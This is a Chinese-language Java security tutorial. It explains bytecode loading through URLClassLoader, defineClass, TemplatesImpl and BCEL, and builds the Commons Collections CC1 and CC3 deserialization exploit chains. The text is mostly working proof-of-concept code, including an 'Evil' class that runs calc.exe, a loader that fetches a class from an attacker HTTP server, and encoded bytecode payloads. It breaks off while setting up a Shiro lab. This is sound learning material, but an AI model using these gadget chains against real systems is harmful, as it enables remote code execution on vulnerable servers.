URLClassLoader远程加载

ClassLoader的作用是在运行时把 .class 字节码文件加载进 JVM,并生成对应的 Class 对象。我们写的每个类在运行前都必须被加载进 JVM,而这个加载的过程就是由类加载器 ClassLoader 来完成的。默认情况下,ClassLoader 根据类名加载类,这个类是一个完整的路径,比如java.lang.runtime

URLClassLoader 就是 Java 提供的一个非常常用的类加载器,它可以通过 URL 来动态加载类或 jar 包里的类,它是 java.net.URLClassLoader 类,是 ClassLoader 的一个子类,可以:

  • 常用于插件系统、动态扩展模块等
  • 从本地路径、网络路径、jar 包中加载类
  • 用指定的 URL[] 作为 classpath

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻 找.class文件
  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

一般而言,我们开发的时候都是用的前两者,而如果出现非file协议的情况,比如http协议,我们就会使用Loader来寻找类。

比如我们现在写一个Evil.java:

package classExample;

public class Evil {
    public static void main(String[] args) {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

然后本地进行编译,或者直接用idea Run一次,应该能看到编译生成好的class文件:

我们直接在这个目录用python快速启动一个web服务:

python -m http.server 8000

接着写一个受害者端加载远程恶意类的代码:

package classExample;

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class RemoteLoader {
    public static void main(String[] args) throws Exception {
        // 攻击者的HTTP地址
        URL url = new URL("http://127.0.0.1:8000/");
        URLClassLoader classLoader = new URLClassLoader(new URL[]{url});

        // 加载类
        Class<?> clazz = classLoader.loadClass("classExample.Evil");

        // 调用 main 方法(或构造方法)
        Method mainMethod = clazz.getMethod("main", String[].class);
        mainMethod.invoke(null, (Object) new String[]{});
    }
}

有点像早年的php远程文件包含,不过这种远程类加载在 JDK 8 及之前默认允许,JDK 11+ 默认对远程类加载限制更严格,就没这么好使了。

defineClass直接加载

加载字节码,无论是远程还是本地,最后都会到defineClass,Java会经过三个方法调用:ClassLoader#loadClass=>ClassLoader#findClass=>ClassLoader#defineClass

  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

defineClass决定了如何将一段字节流转化成Java类,而默认情况下,他是一个native对象,逻辑在JVM的C语言代码中。不过defineClass调用的时候,类对象不会被初始化,所以如果要使用defineClass来加载类的时候,需要想办法调用构造方法,而 ClassLoader#defineClass 是一个保护属性,要想访问它,只能通过我们的老朋友——反射:

package classExample;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class defineClass {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);

        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
        hello.newInstance();

    }
}

TemplatesImpl加载字节码

defineClass过于底层,一般的开发者也用不到它,不过Java的一些类还是用到了它,那就是TemplatesImpl, 我们搜一下 TemplatesImpl,可以看到它定义了一个 TransletClassLoader,而它重写了defineClass:

它没有声明定义域,所以从父类的 protected 变成了现在的 default,可以被实现了该接口的类或其子类的对象调用,我们回溯一下调用链,首先可以看到一个TemplatesImpl#defineTransletClasses(),可惜是private的:

再往回跟,可以看到 getTransletInstance 调用了 defineTransletClasses ,可惜还是一个private的:

最后,我们可以看到一个public的newTransFormer的调用了 getTransletInstance,这玩意儿就能在外面被调用了 :

整合一下,现在的链子就是:

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()

那怎么构造poc呢,我们往回看看怎么传入我们的数据,首先defineClass只需要把code传进去就行了,这没什么好说的,而回到 defineTransletClasses 这里,涉及到了 TransletClassLoader 对象的创建,因此第二个参数必须传入否则会报错,我们传个null就行:

所以我们得写个:

setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

从图里可以看到 defineClass 执行的代码来自于 _bytecodes,而这是一个可控的私有成员变量:

所以我们的代码得是:

setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

再往回跟可以看到 getTransletInstance 这里还必须满足_name不为null,否则直接return null了就不走下面的 defineTransletClasses 了:

所以我们得给_name随便设个值保证他不为空:

setFieldValue(templates,"_name","test");

不过我们现在想直接跑我们的序列化数据其实是跑不通的,因为 TemplatesImpl 加载的字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,所以我们需要构造一个继承了 AbstractTranslet 的类,在他的构造方法里去写我们要执行的代码:

package classExample;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TempClass extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public TempClass() {
        super();
        System.out.println("Hello Fushuling");
    }
}

然后用javac TempClass.java把它编译成TempClass.class,最后写个代码把它转成base64:

package classExample;

import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

public class BytecodeToBase64 {
    public static void main(String[] args) throws Exception {
        // 读取字节码文件
        Path path = Paths.get("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\classExample\\TempClass.class");
        byte[] bytecode = Files.readAllBytes(path);

        // 将字节码转换为Base64格式字符串
        String base64 = Base64.getEncoder().encodeToString(bytecode);

        // 输出Base64格式字符串
        System.out.println(base64);
    }
}

用这个获得的base64填充我们的字节码数据,最后的代码:

package classExample;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class TemplatesImplTest {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAYTGNsYXNzRXhhbXBsZS9UZW1wQ2xhc3M7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwAGQAaBwAmDAAnACgBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwApDAAqACsBABZjbGFzc0V4YW1wbGUvVGVtcENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAADQALAAAAIAADAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABAAEQACABIAAAAEAAEAEwABAAcAFAACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAEgALAAAAKgAEAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABUAFgACAAAAAQAXABgAAwASAAAABAABABMAAQAZABoAAQAJAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIACgAAAA4AAwAAABUABAAWAAwAFwALAAAADAABAAAADQAMAA0AAAABABsAAAACABw=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
    }

    //利用反射给私有变量赋值如下
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

利用BCEL ClassLoader加载字节码

BCEL(Byte Code Engineering Library) 是 Apache 提供的一个强大的开源库,用于分析、创建和修改 Java 字节码(.class 文件),不需要源代码就能操作 Java 类文件。

BCEL 可以被看作是一个“Java 字节码编辑器”,它允许你在运行前或运行时:

  • 读取 .class 文件
  • 修改其中的方法、字段、字节码指令
  • 甚至动态生成新的类

常被用于字节码注入/插桩、静态分析等等,BCEL 提供了几个核心类:

  • InstructionFactory: 快速创建各种字节码指令。
  • ClassParser: 读取 .class 文件并生成 JavaClass 对象。
  • JavaClass: 表示一个类,包含方法、字段等信息。
  • MethodGen: 用于构造或修改方法。
  • InstructionList: 管理一个方法体里的字节码指令集合。

比如就拿上一节里我们编译出来的Temp.class为例,我们可以使用 BCEL 直接读取这个class,获取他的类名:

package classExample;

import com.sun.org.apache.bcel.internal.classfile.ClassParser;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;

public class ReadClass {
    public static void main(String[] args) throws Exception {
        ClassParser parser = new ClassParser("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\classExample\\TempClass.class");
        JavaClass clazz = parser.parse();
        System.out.println("类名: " + clazz.getClassName());
        clazz.getMethods(); // 可以进一步遍历方法、字段等
    }
}

这里我们可以使用BCEL 提供的 Repository 将一个Java Class 先转换成原生字节码,或者直接使用javac命令来编译java文件生成字节码,然后使用 Utility 用于将原生的字节码转换成BCEL格式的字节码,首先创建一个恶意类:

package classExample;

public class Evil {
    public void exec() {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

用javac Evil.java编译成Evil.class,然后我们将原生的字节码转换成BCEL格式的字节码:

package classExample;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

public class HelloBCEL {

    public static void main(String[] args) throws Exception {
        encode();
    }

    protected static void encode() throws Exception {
        JavaClass cls = Repository.lookupClass(classExample.Evil.class);
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println("== BCEL 编码字节码 ==");
        System.out.println("$$BCEL$$" + code);  // 加上前缀才能被识别
    }
}

接着用 BCEL ClassLoader 加载这串字节码然后执行其中的代码:

package classExample;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;


public class HelloBCEL {

    public static void main(String[] args) throws Exception {
        //encode();
        decode();
    }

    protected static void encode() throws Exception {
        JavaClass cls = Repository.lookupClass(classExample.Evil.class);
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println("== BCEL 编码字节码 ==");
        System.out.println("$$BCEL$$" + code);  // 加上前缀才能被识别
    }

    protected static void decode() throws Exception {
        // 将 encode() 打印出来的 BCEL 字符串粘贴到这里
        String bcelStr = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMo$d3$40$Q$7d$eb8$b1c$i$d2$ba$a4$7c$7f$b6$88$U$a4$e6$c2$ad$88$L$K$t$f3$nR$95$f3fY$85m$j$3b$b27U$fe$R$e7$5e$K$e2$c0$P$e0G$n$de$$U$5b$a9X$f2$3c$cf$9b7of$e4$df$7f$7e$fe$C$f0$SO$T$c4$b8$99$e0$Wn$c7$b8$e3$f0n$84$7b$J$da$b8$l$e1A$84$87$C$9dW$a64$f6$b5$40k$b8s$m$Q$be$a9$beh$81$7enJ$fd$7e9$9f$eaz_N$L2Y$5e$vY$i$c8$da$b8$fc$8c$M$edW$d3$Il$e4$aa$90M3$5e$c9$f9$a2$d0$a3$f1$b1$v$f6X$d4$x$ad$E$Eu$83$fcP$k$cbQ$n$cb$d9h$bcRzaMUR$d2$9bX$a9$8e$de$c9$85$f7$e3j$C$c9$a4Z$d6J$bf5$ce$bf$eb$acv$5do$8a$$$92$I$8fR$3c$c6$T$81$98$bb$a8$5d$OH$b1$86$zn$f0$l$ff$U$dbH$E$d6$af$ec$s$b0v$n$ff0$3d$d4$caRvA$7dZ$96$d6$cc9$3e$99i$7b$9e$M$86$3b$f9$V$Nox6$bcDOlm$ca$d9$dee$e5$c7$baR$bai$a8$ec$_X$b4$fe$e4$fdZ$w$cdS$o$fe$l$f7$E$Q$ee$40$c6k$ccFDAl$3f$ff$Oq$e2$cb$vc$c7$93$z$f4$Y$d3$7f$C$5cG$9f$c8$8b$ce$9b$8f$a8$O$88$d9$P$EY$eb$U$e1$e7o$88$f3$X$a7$e8$9c$f8$9e$$$7b$dbtq$8e$9b$fcr$be$5d$cfFt$8e$b1N$a7$9e$af$F$c4$90y$e6$fb$b2$b3Y$h$7c$p$Ey$84$h$n$L$D$bf$de$e6_$e0$8bW$84s$C$A$A";
        com.sun.org.apache.bcel.internal.util.ClassLoader loader =
                new com.sun.org.apache.bcel.internal.util.ClassLoader();

        Class<?> clazz = loader.loadClass(bcelStr);
        Object instance = clazz.getDeclaredConstructor().newInstance();
        clazz.getMethod("exec").invoke(instance);
    }
}

可惜在Java 8u251的更新中,这个ClassLoader被移除了,所以高版本也用不了了,令人感叹。

CommonsCollections3

CC3的出现,是为了绕过⼀些规则对InvokerTransformer的限制,比如最初的demo里我们就用了这个InvokerTransformer:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;


public class easycc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

而在上一节中,我们学习了如何利⽤ TemplatesImpl 执⾏字节码,回忆一下它的利用链:

TemplatesImpl#newTransformer() => TemplatesImpl#getTransletInstance() => 
TemplatesImpl#defineTransletClasses() => TransletClassLoader#defineClass()

所以自然而然,我们就能想到用 TemplatesImpl 接上CC1的链子,只需要CC1和 TemplatesImpl 的这两段POC,即可很容易地改造出⼀个执⾏任意字节码的CommonsCollections利⽤链,我们只需要将最初demo中 InvokerTransformer 执⾏的⽅法改成 TemplatesImpl#newTransformer ,即为:

Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(obj),
 new InvokerTransformer("newTransformer", null, null)
};

这里我就直接用之前的字节码数据了,整合一下代码如下:

package classExample;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class NewCC1 {
    //利用反射给私有变量赋值如下
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAYTGNsYXNzRXhhbXBsZS9UZW1wQ2xhc3M7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwAGQAaBwAmDAAnACgBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwApDAAqACsBABZjbGFzc0V4YW1wbGUvVGVtcENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAADQALAAAAIAADAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABAAEQACABIAAAAEAAEAEwABAAcAFAACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAEgALAAAAKgAEAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABUAFgACAAAAAQAXABgAAwASAAAABAABABMAAQAZABoAAQAJAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIACgAAAA4AAwAAABUABAAWAAwAFwALAAAADAABAAAADQAMAA0AAAABABsAAAACABw=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }


}

经过对于CC1+TemplatesImpl的介绍,我们现在来看看CC3是怎么个事儿,在ysoserial的CC3中,可以发现他用了两个新的东西,一个叫TrAXFilter,一个叫InstantiateTransformer

先来看看TrAXFilter,可以看到它的构造方法里竟然直接调用了TemplatesImpl链子的入口点newTransformer:

接着我们去找一个地方触发 TrAXFilter 的构造方法,可以看到 InstantiateTransformer 完美的解决了这个问题,它的作用就是调用构造方法:

现在思路就很明显了,利用 InstantiateTransformer 调用 TrAXFilter 的构造方法,再利用 TrAXFilter 触发 TemplatesImpl 链子的入口点 newTransformer,这样就又能在不使用 InvokerTransformer 的情况下触发CC链了,其他的其实和CC1都一样,只是需要我们修改一下ChainedTransformer,完整代码如下:

package classExample;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAYTGNsYXNzRXhhbXBsZS9UZW1wQ2xhc3M7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwAGQAaBwAmDAAnACgBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwApDAAqACsBABZjbGFzc0V4YW1wbGUvVGVtcENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAADQALAAAAIAADAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABAAEQACABIAAAAEAAEAEwABAAcAFAACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAEgALAAAAKgAEAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABUAFgACAAAAAQAXABgAAwASAAAABAABABMAAQAZABoAAQAJAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIACgAAAA4AAwAAABUABAAWAAwAFwALAAAADAABAAAADQAMAA0AAAABABsAAAACABw=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();

    }
}

TemplatesImpl在Shiro中的利用

首先,让我们在本地搭一个shiro应用,这里直接使用p神的代码:https://github.com/phith0n/JavaThings/tree/master/shirodemo

然后下一份tomcat纯源码:https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.104/bin/apache-tomcat-9.0.104.zip

这里我的版本是jdk 1.8.0_65,注意生成payload的jdk版本要和用tomcat搭的服务的版本一样,不然有可能打不通。

因为p神其实都帮我们把环境配好了,所以其实环境搭起来并不困难,首先git clone一下:

git clone https://github.com/phith0n/JavaThings/

打开之后会问你要不要自动load环境,你就同意就行

然后在setting这里配一下我们的tomcat(点加号,然后选tomcat server,填一下tomcat路径即可):

然后配一下这个edit configurations

